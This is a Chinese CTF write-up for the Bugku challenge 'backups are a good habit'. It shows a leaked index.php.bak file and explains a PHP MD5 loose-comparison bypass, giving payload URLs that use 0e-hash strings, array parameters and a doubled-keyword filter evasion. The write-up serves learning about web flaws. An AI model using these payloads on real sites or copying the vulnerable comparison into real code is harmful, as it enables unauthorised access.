Bugku-CTF-备份是个好习惯

这题的话可以先从这个题目看应该是和备份有关系的,就会想到bak后缀。

打开网站是一段神秘代码

1
d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

然后就下意识的查看网站源代码但并没有什么收获,只能转向目录扫描了,直接上御剑目录扫描。

发现有一个index.php.bak文件直接访问下载了一个备份文件,代码内容如下

1
2
3
4
5
6
7
8
9
10
11
12
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}

直接开始代码审计。

1
2
3
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}

这个是他的一个验证逻辑就是将输入的两个值加密进行比较,要求a=b和md5(a)=md5(b),现在就可以MD5弱类型比较来解决了。

有些字符串的MD5值都以0e开头,在科学计数法中等于0:

1
2
3
4
5
6
7
8
9
// 经典MD5碰撞值
md5('QNKCDZO') = 0e830400451993494058024219903391
md5('240610708') = 0e462097431906509019562988736854
md5('s878926199a') = 0e545993274517709034328855841020
md5('s155964671a') = 0e342768416822451524974117254469

// 弱比较时:
0e830400451993494058024219903391 == 0e462097431906509019562988736854
// 因为都等于 0 × 10^N = 0

借助这个漏洞就可以构建Payload:index.php?kkeyey1=QNKCDZO&kkeyey2=240610708

还有另一种方法:

由于md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

所以可以也可以构建Payload:index.php?kkeyey1[]=1&kkeyey2[]=2
同样能获得flag。

📄 版权声明

👤 作者:qingshen
📅 发布时间:2025年10月1日
🔗 原文链接https://qsblog.top/Bugku-CTF-%E5%A4%87%E4%BB%BD%E6%98%AF%E4%B8%AA%E5%A5%BD%E4%B9%A0%E6%83%AF.html
📜 许可协议知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议
💡 转载说明:转载请注明原文出处和作者信息